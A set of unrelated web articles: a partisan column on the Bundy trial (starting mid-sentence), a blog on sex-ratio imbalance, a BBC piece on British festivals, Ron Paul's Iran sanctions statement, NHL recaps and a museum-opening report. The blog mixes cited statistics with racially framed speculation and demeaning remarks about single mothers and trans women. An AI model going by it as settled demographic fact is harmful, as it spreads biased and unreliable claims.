was no documentation of any desert tortoises being injured by Bundy’s cattle grazing on the federal land.  Over and over, federal prosecutors had accused the Bundys of deceiving those who rallied to their support in April of 2014, saying that they had falsely claimed they were being targeted by a militarized task force and in fear of their lives. Prosecutors openly mocked these assertions and the defendants’ efforts to compel the release of documents verifying the nature of the operation.  Ironically, it was the government’s own witnesses who inadvertently spilled the beans and verified the existence of this exculpatory evidence while they were testifying. Once the first cracks began to appear in the prosecution’s case, an unstoppable torrent of previously hidden truths began to spill forth.  Long story short, it was government agents, not the Bundys, who were the aggressors and who lawlessly sought to provoke violence.  Truth is what turned the government’s case on its head.  The jury was not going to convict them. Remember, it would only have taken a single juror refusing to convict to hang the jury and force a mistrial. In this latest trial, the vast majority of jurors were solidly on the side of the defendants.  This became crystal clear after the defendants and their counsel had the opportunity to visit with the jurors after they were released from their duties. One African-American juror, immediately walked from the jury box, gently moved a person aside who was visiting with Ryan Bundy and wrapped Bundy up in a big hug.  It’s telling that the people who are most upset about this trial ending in failure for the government are those who weren’t in the courtroom and who haven’t examined the evidence for themselves. Their hysterical outbursts are a poor substitute for reasoned observation.  It’s understandable that people can become dug in ideologically and find it difficult to adjust their thinking upon encountering new truth. None of us wishes to be dragged kicking and screaming to the realization that that we were wrong.  Still, it must be said. Far too many people have wrongly allowed the Bundy family and their supporters to be reduced to a one-dimensional headline. Will they continue to cling to official untruths?  This doesn’t mean that everyone must become a supporter of the Bundys. However, now that we know that a patently false, self-serving narrative was put forth by government and parroted by the media, it does raise the question, how can we trust what they say?  More importantly, how do we intend to hold unchecked and aggressive government agencies accountable?  Bryan Hyde is an opinion columnist specializing in current events viewed through what he calls the lens of common sense. The opinions stated in this article are his and not representative of St. George News.  Email: bryanh@stgnews.com  Twitter: @youcancallmebry  Copyright St. George News, SaintGeorgeUtah.com LLC, 2017, all rights reserved.
-It sucks being young, male, and single. Don’t think so? Go to the Interactive Singles Map of the United States and see how it looks for the 20 to 39 age group. Almost everywhere single men outnumber single women.  And the real picture is worse. For one thing, the imbalance is greater among singles without children. This is not a trivial factor, since single mothers are “single” only in the sense of being available for sexual relations. They are still raising offspring from a previous relationship and many are not interested in having more children.  Then there’s polygamy—or “polyamory,” to use the preferred term—where a minority of men controls sexual access to a larger number of women. If we compare the 1940-1949 and 1970-1979 cohorts of American adults, we find an increase in the number of median lifetime partners from 2.6 to 5.3 among women and from 6.7 to 8.8 among men (Liu et al., 2015). Because this figure is more variable for men than for women, young women are more likely to be sexually active than young men. This is crudely seen in infection rates for chlamydia—the most common sexually transmitted disease. Hispanic Americans still show the traditional pattern of greater sexual activity among men than among women, the rates being 7.24% of men and 4.42% of women. White Americans display the reverse: 1.38% of men and 2.52% of women (Miller et al., 2004).  Finally, there’s a racial angle. This sex ratio is more skewed among White Americans than among African Americans, mainly because the latter have a lower sex ratio at birth and a higher death rate among young men.  It’s hard to avoid concluding that a lot of young white men are shut out of the marriage market … or any kind of heterosexual relationship. This wife shortage was once thought to be temporary, being due to baby-boomer men getting divorced and marrying younger women from the smaller “baby bust” cohort. With time, they would get too old to compete with young men, and the problem should resolve itself.  Today, the crest of the baby boom is entering the seventh decade of life, yet the update to the Interactive Singles Map shows no change to the gender imbalance. So what gives? It appears that demographers have focused too much on the baby-boomer effect and not enough on other factors that matter just as much and, more importantly, show no signs of going away. These factors can be summarized as follows.  Re-entry of older men into the mate market  We have a mate market where 20 to 50 year old men are competing for 20 to 40 year old women. That in itself is nothing new. But something else is.  The baby boom eclipsed an equally important but longer-term trend: more and more men are living past the age of 40. With or without the baby boom, we’ll still see large numbers of older men getting divorced and marrying younger women. The cause isn’t just liberal divorce laws. It’s also the fact we have far more older guys out there as a proportion of the population.  Sure, we will also see younger men pairing up with “cougars” but there are limits to that option, as noted in a New Zealand study:  The male partner may want to partner up with someone younger or have children, which may not be possible with an older woman (for physical reasons or because she chooses not to have (more) children). The younger male partner may not want to become a step-father to existing children. Research has shown that childbearing can be the ultimate deal breaker in this kind of relationship. (Lawton and Callister, 2010)  Persistence of the imbalanced sex ratio at birth  About 105 males are born for every 100 females among people of European origin. This sex ratio used to decline to parity during childhood because of higher infantile mortality among boys. It then declined even farther in early adulthood because of war, industrial accidents, and other hazards. This isn’t the distant past. If you talk with women who came of age in the postwar era, they will tell you about their fears of remaining single past the age of thirty. At that age, very few single men were left to go around.  Well, things have changed. The skewed sex ratio at birth is now persisting well into adulthood, thanks to modern medicine and the relative peace that has prevailed since 1945. Women begin to outnumber men only in the 35-39 age group in the United States and in the 40-44 age group in the United Kingdom.  Equalization of male and female same-sex preference  Historically, same-sex preference was more common among men than among women. This gender gap appears to be closing, according to a recent study:  The percent distributions were quite similar for men and women; however, a higher percentage of men identified as gay (1.8%) compared with women who identified as gay/lesbian (1.4%), and a higher percentage of women identified as bisexual (0.9%) compared with men (0.4%). (CDCP, 2014, p. 5)  Disparities in outmarriage  At present, there are more White American women outmarrying than White American men, particularly in younger age groups. This disparity is mainly in marriages with African American men, there being no gender difference in marriages with Hispanic Americans and the reverse gender difference in marriages with Asian Americans (Jacobs and Labov, 2002; Passel et al., 2010). Overall, this factor further skews the ratio of young single men to young single women in the White American community.  This disparity isn’t new. What is new is its extent, for both legal and common-law marriages. An idea may be gleaned from statistics on children born to White American women, specifically the proportion fathered by a non-White partner. For the U.S. as a whole the proportion in 2013 was between 11% and 20% (the uncertainty is due to 190,000 births for which the father’s race was not stated). By comparison, the proportion in 1990 was between 5% and 13% (Centers for Disease Control and Prevention, 2013; see also Silviosilver, 2015).  Whenever this issue comes up for discussion, there are often reassurances that the disparity will disappear in a post-racial world that has been cleansed of “White privilege.” I’m not so sure. The European female phenotype seems to be very popular, and this was so even when white folks were geopolitical weaklings. Today, the term “white slavery” is merely a synonym for prostitution, but it originally meant the enslavement of fair-skinned women for sale to clients in North Africa, the Middle East, and South Asia. At the height of this trade, between 1500 and 1650, over 10,000 Eastern Europeans were enslaved each year for export (Kolodziejczyk, 2006; Skirda, 2010). The overwhelming majority were young women and pre-pubertal boys who were valued for their physical appearance. And yet they were powerless.  No, I don’t think this kind of preference will disappear as whites lose “privilege.”  Exit strategies  So more and more young men are being left on the shelf, particularly in White America. How do they cope? Mostly by turning to porn from Internet websites, videocassettes, or magazines. Love dolls are another option and may grow in popularity as they become more human-like, not only physically but also in their ability to talk and interact.  Another option is outmarriage. In the past, this trend largely concerned older men marrying East Asian or Hispanic women, but we’re now seeing plenty of young men outmarrying via Internet dating sites. Despite the local supply of single women in the African American community, there is a much stronger tendency to look abroad, generally to women in Eastern Europe, South America, or East Asia.  Then there’s gender reassignment, which means either entering the other side of the mate market or tapping into the lesbian market. It’s a viable strategy, all the more so because many white boys can be turned into hot trans women. I’m not saying that some young men actually think along those lines, but gender reassignment is functioning that way.  Finally, there’s “game.” My attitude toward game is like my attitude toward gender reassignment. Both are attempts to push the envelope of phenotypic plasticity beyond its usual limits, and neither can fully achieve the desired result. A lot of boys aren’t wired for game, and there are good reasons why, just as there are good reasons why some people are born male. Male shyness isn’t a pathology. It’s an adaptation to a social environment that values monogamy and high paternal investment while stigmatizing sexual adventurism. Our war on male shyness reflects our perverse desire to create a society of Don Juans and single mothers.  But if game works, why not? Whatever floats your boat.  Conclusion  Ideally, this gender imbalance should be dealt with at the societal level, but I see little chance of that happening in the near future. If anything, public policy decisions will probably worsen the current imbalance. Changes to public policy generally result from a long process that begins when people speak up and articulate their concerns, yet it’s unlikely that even this first step will be taken any time soon. Young single men prefer to remain silent and invent nonexistent girlfriends. They also tend to be marginal in the main areas of discourse creation, like print and online journalism, TV, film, and radio production, book writing, etc. Leaf through any magazine, and you’ll probably see more stuff about the problems of single women.  So this imbalance will likely continue to be addressed at the individual level through individual strategies.
-Every summer, normally tranquil fields across Britain suddenly crowd with visitors – some in eccentric garb, some smothered in mud, nearly all in varying states of merriment or disinhibition. Apart from exuberant dancing, ukulele-strumming, campfire-tending and twig-whittling all tend to be activities of choice. Throw in an ancient woodland clearing or stately home and you have that most quintessential of bucolic British experiences: the music festival. The festival calendar includes dozens of recent arrivals, like Festival Number 6, The Good Life Experience and Elderflower Fields, alongside established events such as Bestival, Latitude and Glastonbury. And the number is only increasing.  Britain cannot claim the music festival as its own. It is, of course, a phenomenon that has expanded across the globe, not to mention beyond music – food, arts, crafts, philosophical talks and general communing with nature are as much a part of the new generation of festivals as live bands.  At the same time, the festival’s roots go back a long way in Britain. Wild carousing is deeply embedded in the nation’s history as a way of letting off steam and inverting the traditional social structure, while the notion of bonding with fellow human beings after a winter’s isolation was integral to early gatherings. Could Brits be hard-wired by their heritage to be festival mad?  Prehistoric parties  Indeed, mass revelry goes back even further than we previously thought. In 2013, archaeologists from University College London discovered cattle teeth at Stonehenge, indicating that the famous prehistoric stone circle was the site of vast communal feasts as early as 250BC. The research suggests that up to one tenth of the entire British population – coming from as far as Scotland –gathered together there. As archaeology professor Mike Parker Pearson quips, it was “the only time in prehistory that the people of Britain were unified.” Other ancient festivals, too, were aimed at creating a sense of belonging. At Beltane, the May Day festival that originated in Scotland and Ireland, communities gathered to celebrate their proximity to nature – and to each other.  But class, not just communalism, was a part of the story, too. Winter solstice, also known as Saturnalia, was especially famous for reversing social roles: men dressed as women and women as men. Masters waited on their slaves, who were temporarily freed. Taking on new identities with elaborate fancy dress remains a huge part of festival culture in Britain; at Bestival, it’s even in the motto (“dressing up to get down”). And so, in a sense, is the inversion of the social structure. Today, many land owners and aristocrats open up their estates (for a fee) to the general public, letting them run wild in a space normally off-limits.  As the Church became dominant and sought to win over converts from the 4th Century on, many of these festivals, originally celebrated as part of the agricultural calendar, were incorporated into Christian celebrations. “June to September was a ‘merrie time’ full of revelry,” says Tom Hodgkinson, co-founder of the Idler Academy, which runs philosophical, life-skill and crafts courses at festivals around the country. “On feast days, you weren’t allowed to work, and there was a lot of drinking… all approved of by the Church.” The Reformation of the 16th Century put a dampener on festivities, thanks to crack-downs by Puritans who thought the feast days were too pagan.  Revelry’s return  But Saturnalia-style mayhem couldn’t be absent from Britain forever. Its 20th Century embodiment appeared in the 1970s and ‘80s with chaotic, usually free and largely LSD-fuelled gatherings. Among them were the Isle of Wight, Stonehenge and Glastonbury festivals, beloved by the hippie crowd and new-age travellers. Although the Isle of Wight festival and Glastonbury are still held annually, the Stonehenge festival ended badly in 1985 with the so-called Battle of the Beanfield: the police – who had obtained a high-court injunction – prevented a convoy of several hundred new age travellers from setting up the festival, leading to a violent confrontation.  Lord of the Manor Peregrine St Germans knows this sense of anarchy first-hand: from 1981, the Earl hosted the Elephant Fayre festival each year at his Cornwall estate. Characterised by impromptu poetry readings by the likes of Heathcote Williams and other performance “happenings,” the Elephant Fayre was founded on “counter culture – fun and excess,” St Germans says. In one incident, he recalls, “a gang of ‘warriors’ dressed as Vikings, samurais, American Indians and gladiators, allowed people to fire real bows and real arrows at them from 50 or 60 yards. No casualties.”  That “atmosphere of genial anarchy,” as his son Louis Eliot puts it, was all the more chaotic for its setting, Port Eliot – a 6,000-acre idyll complete with its own church, Iron Age fort, estuary, boat house and ancient woodland. Against that lush backdrop, Louis Eliot remembers musicians singing at campfires and the space rock group Hawkwind playing an impromptu show – not to mention baked goods “that could keep your imagination whirring” and people who “spent days caked in river mud.” In 1986, the anarchy became a little too much: the family closed the festival down following vandalism and hard-drug use.  In the late 1980s, spontaneous hedonism re-emerged in a different vein with the birth of rave, dubbed the Second Summer of Love. Huge house music parties in empty warehouses and fields spread rapidly across Britain in an explosion of youth culture. At Castlemorton Free Festival in Worcestershire in 1992, around 30,000 people partied on the town common for an entire weekend. Soon after, the Criminal Justice Act of 1994 gave police the power to shut down events featuring music that was “characterised by the emission of a succession of repetitive beats” – a clause aimed squarely at Britain’s rave scene.  In recent years, the British festival has become more sophisticated and mainstream, complete with corporate sponsorships, ‘glamping’ and champagne bars. Since 2003, Peregrine St Germans’ grand estate has been home to the fashionable Port Eliot Festival. With a cornucopia of events, from live comedy to fashion shows, the July event is a far cry from its earlier, grungier incarnation – and commands a correspondingly high entrance fee.  That fee, of course, helps with the estate’s upkeep: increasingly, festivals provide a welcome income stream for the landed classes. If Downton Abbey were set in 2015, Lord Grantham would probably be hosting a festival to help keep the family afloat. Even more than that, though, opening their grand estates to the throngs is something that the landed gentry should be doing – at least according to Peregrine St Germans. Families like his, he says, have the key components of festivals: “the facilities, lovely grounds, park land, huge trees the size of a cathedral, rivers, beautiful gardens. I think that they should share it for a few days with others.”  British festivals may be less wild affairs now than in the 1970s and ‘80s. But for their devotees, the essential elements are still there, just as they were decades or even centuries ago: communality, escape, freedom, nature, revelry. “Everybody on the site is on the same side,” says Port Eliot’s host. “It’s aimed at stimulating the brain all day and partying all night.” Or, as Hodgkinson puts it: “It’s our party spirit, our free spirit. It’s all about suspending normal rules for a few days.”  This story is a part of BBC Britain – a new series focused on exploring this extraordinary island, one story at a time. Readers outside of the UK can see every BBC Britain story by heading to the Britain homepage; you also can see our latest stories by following us on Facebook and Twitter.
-Statement on Mark-up of HR 1905, the Iran Threat Reduction Act of 2011, House Foreign Affairs Committee  I would like to express my concerns over the Iran Threat Reduction Act of 2011 and my opposition to it being brought to the Floor for a vote. Let us be clear on one critical matter: the sanctions against Iran mandated by this legislation are definite steps toward a US attack on Iran. They will also, if actually applied, severely disrupt global trade and undermine the US economy, thereby harming our national security.  I am surprised and disturbed that the committee viewed this aggressive legislation to be so bipartisan and uncontroversial that a recorded vote was not even called.  Some may argue that we are pursuing sanctions so as to avoid war with Iran, but recent history teaches us otherwise. For how many years were sanctions placed on Iraq while we were told they were necessary to avoid war? Thousands of innocent Iraqis suffered and died under US sanctions and still the US invaded, further destroying the country. Are we safer after spending a trillion dollars or more to destroy Iraq and then rebuild it?  These new sanctions against Iran increasingly target other countries that seek to trade with Iran. The legislation will severely punish foreign companies or foreign subsidiaries of US companies if they do not submit to the US trade embargo on Iran. Some 15 years after the Iran Sanctions Act of 1996 failed to bring Iran to its knees, it is now to be US foreign policy to threaten foreign countries and companies.  During this mark-up one of my colleagues argued that if Mercedes-Benz wants to sell trucks to Iran, they should not be allowed to do business in the United States. Does anyone believe this is a good idea? I wonder how the Americans working at the Mercedes-Benz factory in Tuscaloosa County, Alabama would feel about banning Mercedes from the United States. Or perhaps we might ask the 7,600 Americans who work in the BMW factory in Spartanburg, SC how they would feel. Should the American consumer be denied the right to purchase these products? Is the United States really prepared to take such aggressive and radical action against its NATO ally Germany?  Likewise, the application of the sanctions in this legislation would have a dramatic impact on US commercial and diplomatic relations with Russia and China, who both do business with Iran. It would impose strong sanctions on these countries and would prohibit foreign business leaders – and their spouses and children – from entering the United States. Do we want to start a trade war – or worse – with Russia and China?  The Iran Threat Reduction Act authorizes what will no doubt be massive amounts of US taxpayer money to undermine the Iranian government and foment another "Green Revolution" there. We will establish and prop up certain factions over others, send them enormous amounts of money, and attempt to fix any resulting elections so that our preferred candidates win. Considering the disturbing aftermath of our "democracy promotion" operations in places like Egypt, Iraq, Libya, where radical forces have apparently come out on top, it may be fair to conclude that such actions actually undermine US national security rather than bolster it.  Sanctions do not work. They are precursors to war and usually lead to war. They undermine our economy and our national security. They result in terrible, unnecessary suffering among the civilian population in the target countries and rarely even inconvenience their leaders. We must change our foreign policy from one of interventionism and confrontation to cooperation and diplomacy. This race to war against Iran is foolhardy and dangerous. As with the war on Iraq, the arguments for further aggression and war on Iran are based on manipulations and untruths. We need to learn our lesson and reject this legislation and the push for war.  Read more by Ron Paul
-Dwayne Roloson has quickly become the backbone of the Tampa Bay Lightning.  Roloson made 38 saves for his fourth shutout in a month, Teddy Purcell scored two early first- period goals, and the Lightning beat the Philadelphia Flyers 4-0 at the St. Pete Times Forum on Tuesday night in a matchup of the Eastern Conference's top two teams.  Roloson made 38 saves for his fourth shutout in a month, Teddy Purcell scored two early first- period goals, and the Lightning beat the Philadelphia Flyers 4-0 at the St. Pete Times Forum on Tuesday night in a matchup of the Eastern Conference's top two teams.  "I think it's one of those things, you cherish the moment, but at the same time we've got to forget about it," Roloson said. "We've got another big game on Friday against Washington."  Jonathan Toews Center - CHI GOALS: 18 | ASST: 25 | PTS: 43  SOG: 147 | +/-: 9  Niklas Backstrom Goalie - MIN RECORD: 16-11-3  GAA: 2.43 | SVP: 0.925  Avalanche at Blues (ppd.)  All four of Roloson's shutouts have come in 11 games since the Lightning obtained the 41-year old from the New York Islanders in exchange for minor-league defenseman Ty Wishart on New Year's Day."I don't think it's a roll," Roloson said. "I just think that the team is playing great. I'm fortunate enough to be making the best of an opportunity."Tampa Bay went up 2-0 just 1:21 into the game on Purcell's first career two-goal game. Steven Stamkos added his NHL-leading 39th goal of the season, and Steve Downie also scored for the Lightning, who have a six-game winning streak. Tampa Bay, which has won all three games against the Flyers this season, trails the conference leaders by two points."You can't beat a team like that if you don't have everybody on the same page," Tampa Bay coach Guy Boucher said.The Lightning have missed the playoffs in each of the last three seasons and haven't won a postseason series since winning the franchise's only Stanley Cup in 2004.Flyers goalie Sergei Bobrovsky was pulled after giving up three goals on six shots during the first, and was replaced by Brian Boucher . Philadelphia lost for just the third time in the last 13 games."When you're down 2-0 on two shots, I think it surprised everybody," Philadelphia coach Peter Laviolette said.Purcell scored from the slot at 19 seconds off a give-and-go with Vincent Lecavalier . Just 62 seconds later, Simon Gagne 's shot went into the net off Purcell's leg. Purcell has 3 goals and 7 points in his past three games."I don't think we were out of sorts in the first," Flyers captain Mike Richards said. "I just thought they were very opportunistic. We gave them, probably, too many scoring chances. It's just one of those games, I guess."Roloson, coming off a 2-0 shutout of Toronto, stopped all 13 shots he faced in the opening 20 minutes. He also made four saves early in the third, including an in-close chance by James Van Riemsdyk "He's been our backbone back there," Purcell said.Downie made it 3-0 from at 14:24 of the first. Stamkos extended the Tampa Bay advantage to 4-0 with 11:09 left in the third.The Lightning have started a 12-game homestand with three straight wins, outscoring their opponents 13-1 over the stretch. Tyler Bozak and Colby Armstrong scored in the shootout as Toronto beat Florida at the Air Canada Centre. Jean-Sebastien Giguere allowed a goal to David Booth on a nice spin move to open the shootout, but then stopped Mike Santorelli and Chris Higgins . He added 30 saves in regulation. Phil Kessel took an elbowing penalty with 4:15 remaining, and 34 seconds later Cory Stillman tied the game at 3-3.Kessel had a breakaway in the final seconds but couldn't beat Scott Clemmensen , extending his goal drought to eight games."I thought he was buzzing," Leafs forward Clarke MacArthur said of Kessel. "He had a lot of shots, they just didn't go in for him." Nikolai Kulemin and Mikhail Grabovski scored in regulation for the Maple Leafs, who won for the second time in eight games. Stephen Weiss and David Booth also scored in regulation for the Panthers, who have won just once in their last seven games."You're never happy with one point," Panthers coach Peter DeBoer said, "but it was probably a fair outcome."Grabovski put the Leafs up 3-2 at 6:16 of the second when he redirected Kaberle's point shot past Clemmensen on a power play. The goal came just 1:22 after a high-sticking penalty by Jay Rosehill allowed the Panthers to tie it 4:54. Keaton Ellerby made a pretty cross-ice pass from the point to Michael Frolik at the side of the goal, and he centered it in front for Booth to tap in.The Leafs led 2-1 after the first period.Versteeg opened the scoring at 7:20 with a clever goal. Standing behind the net, he picked up the rebound of a failed pass out front and banked the puck in off the backside of Clemmensen, who was unsure of where the puck had gone.The Panthers tied it at 18:06 when Weiss took a Chris Higgins pass on a 3-on-1 rush and beat Giguere low to the stick side.The Leafs reclaimed the lead just 23 seconds later when Clarke MacArthur dug the puck out of the corner and sent a pass to Kulemin, who wired a shot from the faceoff dot past Clemmensen's blocker.Leafs forward Mike Brown left the game in the second period and didn't return after taking a heavy hit from Ellerby along the boards. Jonathan Toews had a shorthanded goal and a pair of assists and Chicago started a grueling six-game, 12-day road trip by beating Columbus at Nationwide Arena. Patrick Kane added a goal and an assist, while Nick Leddy Dave Bolland and Marian Hossa also scored for Chicago, which plays 20 of its last 32 regular-season games on the road. Fernando Pisani and Brent Seabrook each had two assists as the Blackhawks overcame a 3-2 second-period deficit by scoring four consecutive goals."It was a tough start tonight. Everybody on both sides was trying to find their bearings again," said Seabrook, who was flipped upside down by R.J. Umberger by a highlight-reel check in the third period. "We came out hard and had a good second part of the second period and a great third. It was good to see Marty shut the door and really give us the opportunity to win." Samuel Pahlsson and Matt Calvert tallied for the Blue Jackets, who started the night just five points out of the final playoff spot in the West but in a tie for 13th place."That was an ugly game for sure," Jackets coach Scott Arniel said. "I'm sure (Blackhawks coach) Joel (Quenneville) would say the same on his side. There were lots of chances and it was pretty sloppy."Columbus scored twice in 42 seconds -- Brassard on a slick assist from Rick Nash and Pahlsson on a shot from the right wing through traffic -- for a 3-2 lead early in the second period. Following a timeout, the Blackhawks then took control.An instant after killing Stalberg's roughing penalty, they tied it when Stalberg joined a rush and benefited from Pisani's helper to notch his eighth.Kane crashed the net just as Toews stole the puck from Columbus' Chris Clark on the back boards, Toews sliding a centering pass that Kane converted for the go-ahead goal.The backbreaker came with 40 seconds left in the period when Toews won a battle for the puck near the offensive zone blue line with Columbus defenseman Fedor Tyutin and then skated past another defenseman, Grant Clitsome , who had overcommitted, before beating goaltender Steve Mason to make it 5-3."You don't expect to score four straight," Toews said. "You don't want to have to. But it always seems that we respond to those timeouts."Hossa's goal was a shorthanded empty-netter in the final minute.The first period ended prematurely when the lights in Nationwide dimmed for several minutes.The officials sent the teams to the dressing rooms with 39.6 seconds left in the first period after the arena lights dimmed slightly -- although not enough to hinder play.There was plenty of electricity on the ice before that.The Blue Jackets, who had trailed 2-0 in their last three games, got on the board first when Dorsett collected the puck off the back wall from Keith, then jammed the puck past Turco inside the near post for his third of the year.Chicago tied it at 9:10 when Leddy, called up on Monday from Rockford of the American Hockey League, took a pass from Jack Skille and scored on a floater that appeared to go in off the crossbar.The Blackhawks then had 1:46 with a two-man advantage. With 15 seconds left in the 5 on 3, Keith stepped into a rocket at the right dot and blistered the one-timer past Mason.With full power back on, the players returned from the intermission to play the final seconds of the first period, then switched ends for the second period. Rene Bourque scored the only goal in a shootout, and Calgary rallied to beat Nashville at Bridgestone Arena for its fifth straight victory.The Flames trailed 1-0 heading into the third period, but Matt Stajan and Cory Sarich scored to help Calgary force overtime.In the shootout, Bourque slipped the puck under Pekka Rinne 's leg to start. Alex Tanguay lost the puck, then Rinne stopped Olli Jokinen . But Miikka Kiprusoff stopped Martin Erat and Cody Franson "If you win, you might move up a slot," Flames captain Jarome Iginla said. "But there are so many teams that if you lose you're moving down two for sure because someone from that group is winning. Every game gets more important from here on out. It's going to be a heck of a race with so many teams that are within a few points of each other." David Legwand had a last chance to extend the shootout but couldn't beat Kiprusoff. Patric Hornqvist had a power-play goal for Nashville. Martin Erat also scored and Sergei Kostitsyn added two assists."We've got to hunker down when it's 1-0 and go from there and not let anything else happen after that," Legwand said.Calgary has gone past regulation six times in the past 11 games and improved to 7-4 in shootouts this season. More important, the Flames continue their rally in the Western Conference, having grabbed at least a point in 10 of their last 11 games."We just stayed the course, kept plugging away, kept working hard. We never did anything fancy, but we did a lot of things the right way," Calgary coach Brent Sutter said.It felt as if the Predators were playing for the shootout with a 6-2 record in them coming into the game. Rinne, the NHL's third star for January, got Nashville to the shootout by stopping four shots in overtime, with his best a stick save on Jokinen with 2:20 left. He also smothered a slap shot by Stajan 15 seconds later.The Predators now have lost three straight, picking up where they left off going into the All-Star weekend.They seemed in control most of the game. Erat scored his seventh from the slot, tipping in a nice pass from Kostitsyn from the left circle at 7:43 of the first past Kiprusoff's glove. The Predators wound up taking 10 of the next 12 shots.Kiprusoff also put Nashville on the power play at the end of the second period, swiping his glove across Predators center Nick Spaling 's face. But Nashville couldn't convert."At least we got one point tonight, but there comes a point where we've got to figure out how to lock things down," Preds captain Shea Weber said. "There are 31 games left, and if we're not going to find a way to get two points, we're going to be out of the playoffs."Stajan tied it up at 1-1 at 2:57 in the third with his fourth goal of the season with a slap shot off an assist from Tim Jackman Nashville took the lead back with a rare power-play goal. Hornqvist scored his 16th this season with a wrister from the slot off a pass from Shea Weber , beating Kiprusoff glove-side at 4:56 -- just 28 seconds after Jokinen went to the penalty box for tripping.It didn't last long as Sarich scored from the right circle at 9:04 to tie it up at 2-all."They've been consistent efforts," Sarich said of this streak. "That's the biggest thing. Giving ourselves a chance and not beating ourselves. We're staying in games. We've limited our mistakes from the start of the year, and that's been huge for our success." Niklas Backstrom somehow made a kick save with his right skate against Jack Johnson , one of three he made in the shootout, and Pierre-Marc Bouchard followed with the game-winner to lift Minnesota past Los Angeles at the Xcel Energy Center."He had me beat so I tried just to get something up there and got lucky," Backstrom said. "It hit my skate. You need those every now and then."The Kings were 5-0 this season in shootouts and Backstrom had lost eight straight shootouts before Tuesday night."From the bench, all I saw was open net," Wild coach Todd Richards said.Bouchard beat Jonathan Bernier with a nifty little backhand through the five-hole and Backstrom also stopped Anze Kopitar and Dustin Brown to help the Wild get a much-needed two points in the airtight Western Conference.Bernier was even better than Backstrom during regulation and overtime, making several point-blank saves for the Kings, who had their three-game winning streak snapped in the opener of a 10-game road trip.Backstrom was rarely challenged during his third shutout of the season, but was superb in the shootout. He poke checked the puck off the stick of Kopitar to start the shootout and capped it off with a blocker save against Brown."I just tried to wait him out," Johnson said of his chance. "I tried to get him down and thought I had him waited out. He stuck his pad up and I hit him in the toe. I've got to tip my hat to him. He made a great save."Bernier earned his first shutout of the season and stopped Marty Havlat to start the shootout before Bouchard beat him."He made a nice move," said Bernier, who had 25 saves. "I don't know if that's what he wanted to do at first. ... Obviously I'd like to get that one back."Both teams looked rusty in their first game back from the six-day All-Star break.The lack of offense should come as no surprise for two teams who have struggled on that end of the ice all season. The Wild started the night tied for the second-fewest goals in the West while only four teams had scored fewer goals than Los Angeles.After a slow start to the season led to questions about Richards' job security, the Wild have moved back into the playoff hunt. They have won five of their last six games, and their latest victory over them 57 points for the season, one ahead of the Kings, and eighth place in the conference.The Kings were one of the more disappointing teams in the first half of the season, unable to capitalize on the momentum gained from their first trip to the playoffs since 2002. They tied a franchise record with 46 victories last season.Los Angeles lost 10 of 12 home games during a horrible skid that started at the end of December and dragged well into January before finally showing signs of steadying itself with a three-game winning streak going into the All-Star break.With the Grammy Awards and the NBA All-Star game scheduled for Staples Center in Los Angeles, the Kings will spend the next three weeks crisscrossing North America in a trip that could define their season."The most important thing, obviously, is to win, but you want to play good," coach Terry Murray said. "You want to give yourself every opportunity to win the game. I thought we did that." Dainius Zubrus scored on an attempted pass that deflected off Ottawa defenseman Chris Phillips with 5:43 to play, and New Jersey returned from the All-Star break with a victory against the struggling Sens at the Prudential Center.For NHL.com's full recap, click here Kyle Okposo scored his first two goals of the season and Kevin Poulin made 25 saves as New York beat Atlanta at Philips Arena.For NHL.com's full recap, click here A major storm in the Midwest forced the postponement of the Colorado-St. Louis match, which was scheduled to take place at the Scottrade Center. No makeup date has been set.For more details, click here
-PORTLAND, Ore. -- With sunlight streaming through the former art gallery’s near floor-to-ceiling windows and excited visitors streaming through its doors, directors of the Oregon Jewish Museum and Center for Holocaust Education officially debuted their new 15,000 square-foot home to the public Sunday afternoon.  “It's phenomenal,” said executive director Judy Margles. “We couldn't be more excited.”  The new space, located at 724 Northwest Davis Street, is more than twice the size of the museum’s prior location near Northwest 20th and Kearney.  Futher, noted Margles, this one isn’t leased.  “We’ve been a museum for 25 years. We’ve never owned our own home,” she said. “So, arriving at this moment where we have permanence in Portland is astonishing.”  Margles and board members say ownership has been a goal for the museum for a long time, adding that expanding their space allowed them to add new exhibits with interactive, modern twists.  Sign up for the daily 3 Things to Know Newsletter Thank You Something went wrong. This email will be delivered to your inbox once a day in the morning. Thank you for signing up for the 3 things to Know Newsletter Please try again later.  Submit  Downstairs, to the right of the entrance, visitors will find intricate Russian tapestries, divided into dozens of squares, each one displaying an image of a mythical-looking figure.  The tapestries correlate with a digital touch screen, which explains each figure as a take on the Jewish identity.  Located upstairs, the Holocaust exhibit features chilling relics like a knife and a fork, used in Auschwitz.  They sit alongside high-resolution video interviews from survivors, which play on a loop.  Feet from that sits an intricate explanation of the history of the Jewish people in Oregon.  Next to that, visitors found exhibits about discrimination in general; some examples were more recent.  Visitor Robert Wilner, who just finished a class on the Holocaust at Portland Community College, was glad to see the lessons of the Holocaust linked to more modern trends.  “People in their upbringing are not taught about it,” he said. “They need to know about it so they can have more respect for the fragility of humans.”  Sadly, said Margles, the museum's work in education is seeing a spike in interest.  “We've seen such an uptick in phone calls from schools who are experiencing anti-Semitism and racism in the classroom,” she said. “So, we've been sending our Holocaust educators out to speak to students.  VIDEO: Holocaust survivors Miriam Greenstein and Evelyn Banko share their stories  Holocaust survivors on hand for the event say that trend is chilling but added the new space and its message give them hope.  “Helping to educate people about it makes people think and talk about it, and maybe help them to stand up for the rights of other people,” said Evelyn Banko, who escaped Nazi-occupied Austria with her parents.  “Hatred is not acceptable, doesn't get you anywhere. You have to accept people the way they are,” said Miriam Greenstein, whose family was captured by the Nazis in their home country of Poland.  Greenstein’s mother and father were murdered in separate camps. She came to Sunday’s opening with her daughter and other family.  She serves on the museum’s board and now, like Banko, speaks about her ordeal as much as possible.  “It is a first-class museum,” she said. “It is not just for Jewish people by any means.”  In May, 2016 the executive board began raising the needed $7.5 million to buy and renovate the new space.  As of Sunday, they’re just $350,000 short. If you'd like to donate, click here.
